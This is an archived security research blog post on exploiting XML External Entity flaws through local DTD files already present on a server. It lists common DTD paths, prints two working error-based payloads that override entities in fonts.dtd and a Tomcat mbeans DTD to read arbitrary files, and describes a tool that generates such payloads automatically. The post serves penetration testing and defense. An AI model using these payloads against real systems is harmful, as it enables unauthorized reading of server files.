

Automating local DTD discovery for XXE exploitation

Automating local DTD discovery for XXE exploitation - @h3xStream, blog.h3xstream.com.

- Published: date not stated
- Original: <<https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html>>
- Preserved from: <https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[[image: image]]

(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0uunz3Q23zx_rXvtIRxgNxLpkVFuHXuGUxajXfhJD_793yr8bS6tsCndpaYq3sTiWNluXuohipjbQfjJE8nLDs2tSfLp4xPapCeH2o8qN8oYac1j_G_H5NMuX9O7AlhO5E3PGtrVHoaux/s1600/xxe2%255B1%255D.png)

Last month, we presented at [Hack In Paris](#) (France) a [XML External Entities \(XXE\) exploitation workshop](#). It showcase methods to exploit XXE with numerous obstacles. Today, we present our method to exploit XXEs with a local Document Type Declaration (DTD) file. More specifically, how we built a huge list of reusable DTD files.

XML External Entities (XXE) is a type of attack done against an application that parses XML input. It occurs when XML input containing a reference to an external entity (SYSTEM entity) is processed by a weakly configured XML parser. Over the years, researchers have found multiple ways to exfiltrate content using various XML payloads:

- [Ex-filtration using out-of-bound Gopher or HTTP protocols](#) (2013) by Timur Yunusov & Alexey Osipov.
- [Variation of this out-of-bound technique with the FTP protocol](#) by Ivan Novikov.
- [Concatenating CDATA prefix using external DTD](#) (2013) by Timothy D. Morgan.
- [Error based file exfiltration combined with PHP encoding filter](#) (2015) by Renaud Dubourguais.
- [The same technique found effective on Java](#) (2015) by Antti Rantasaari.

- [Error based file exfiltration using local DTD](#) (~2016-2018) by Arseniy Sharoglazov.

We can notice a trend: Most techniques discovered require the use of a secondary Document Type Declaration file (DTD or DOCTYPE). The DTD files used for these attacks have to be hosted on an HTTP server. Outgoing requests may not be possible in a strict network environment. However, Arseniy Sharoglazov's technique circumvents this requirement by using existing DTD files on the attacked server.

Building a list of DTD

The original research by Arseniy Sharoglazov already listed a few payload variations. It was more than enough to understand the patterns and build additional payloads. In our pentests, we have encountered at least two applications for which the known DTD files were not present on the vulnerable system. We could have created a crawler which browses the remote filesystem. This would be possible thanks to file enumeration when pointing a SYSTEM entity to a directory. However, we used a shortcut. We built a small list of DTD files present on common Linux distributions [1] [2] and tested to see if those files were presented by brute force. The initial DTD list was as follow:

```
./properties/schemas/j2ee/XMLSchema.dtd
../properties/schemas/j2ee/XMLSchema.dtd
../../../../properties/schemas/j2ee/XMLSchema.dtd
/usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd
/root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd
/root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd
/usr/share/doc/python2-docutils/docs/ref/docutils.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/dblatex/schema/dblatex-config.dtd
/usr/share/struts/struts-config_1_0.dtd
/opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
```

These DTDs were taken from a search on the Ubuntu and CentOS repositories, and Google searches. When we confirm the presence of a given file, we could download the DTD to build a valid payload. Here is a demonstration of using pre-built DTD list:

Automation

When trying to confirm a Web vulnerability, one wants to avoid manual work. For this reason, we wanted to increase the DTD list and avoid the review process of DTD files. To increase the list, we need to sample various OSs to obtain DTD files that are installed commonly on servers. To avoid inspection of DTD files, we had to generate XXE payloads automatically.

Obtaining as many DTDs as possible

First, we picked samples from a couple of Linux distributions to which we had access: Ubuntu, CentOS and Arch Linux. We realized DTD are not only in the official packages from the Linux distributions but also in the packages from different languages Ruby, Python, NPM, etc. Our second target was Docker containers used to host the following Java applications, Tomcat, Weblogic, JBoss, JDK only and few others. The container with only [OpenJDK](#) includes very few DTDs and none with a reusable entity. The Web container built-in files, however, includes a couples DTDs.

Entity Injection patterns

Now that we have a list of DTDs. We enumerate the entities that can be overridden. For each of those, we look at their usage and correlates the appropriate injection patterns. Here are two injection patterns:

ELEMENT injection

```
**fonts.dtd:**
```

```
<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
    |name|const
    |or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
    |plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
```

```
<!ELEMENT test (%expr;)*>
```

```
**Associated XXE payload (The entity %expr is overridden):**
```

```

<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

  <!ENTITY % expr 'aaa)>
    <!ENTITY % file SYSTEM "file:///FILE_TO_READ">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
    %eval;
    %error;
    <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message></message>

```

ATTLIST injection

```

**mbeans-descriptors.dtd:**

```

```

<!ENTITY % Boolean "(true|false|yes|no)">
[...]
<!ATTLIST attribute is %Boolean; #IMPLIED>
<!ATTLIST attribute readable %Boolean; #IMPLIED>
<!ATTLIST attribute writeable %Boolean; #IMPLIED>

```

Associated XXE payload (The entity %Boolean is overridden):

```

<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/tomcat-
coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd">

  <!ENTITY % Boolean '(aa) #IMPLIED>
    <!ENTITY % file SYSTEM "file:///FILE_TO_READ">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
    %eval;
    %error;
    <!ATTLIST attxx aa "bb"'>

    %local_dtd;
]>

<message></message>

```

As can be seen, different contexts mean different payloads need to be used. Looking at our sample DTDs, we identified 5 different contexts. Those 5 patterns will be used to automate the construction of payloads for new DTD files. We test each pattern with an XML parser to validate that the entity is overridden successfully. These tests with an XML parser allow us to generate working payloads.

Putting the pieces together

To summarize, here are the high-level steps taken by our tool, DTD finder.

- Find DTD files or DTD files inside .jar or other zip files.
- Enumerate the entities declared.
- Test each of the entities with common injection patterns.
- Report the result summary to the console and the working payloads to a markdown file.

Here is a demonstration of DTD enumeration on a Docker filesystem export.

Conclusion

The use of a local DTD file to exploit XXEs will become a common practice for Web pentesters. Being efficient at finding common DTD files should make the task easier. Having generated payloads will also make the attack accessible to the testers with limited knowledge of XML. In order to reproduce the demonstration above, you can pick up the [DTD Finder tool on GoSecure's GitHub](#). The tool can be used to generate a list for specific systems. You don't need to run the tool to obtain XEX payloads. We have already generated a [list of valid XEX payloads with over 50 DTDs](#).

References

- DTD Finder, the tool presented in this article: <https://github.com/GoSecure/dtd-finder>
- [1] Search for debian package containing .dtd files <https://packages.debian.org/search?searchon=contents&keywords=.dtd&mode=path&suite=stable&arch=any>
- [2] Search for Ubuntu package containing .dtd files <https://packages.ubuntu.com/search?suite=disco&arch=any&mode=filename&searchon=contents&keywords=.dtd>
- How to find packages associated to a specific file. <https://www.cyberciti.biz/faq/equivalent-of-rpm-qf-command/>

This post was originally posted on [GoSecure's blog](#)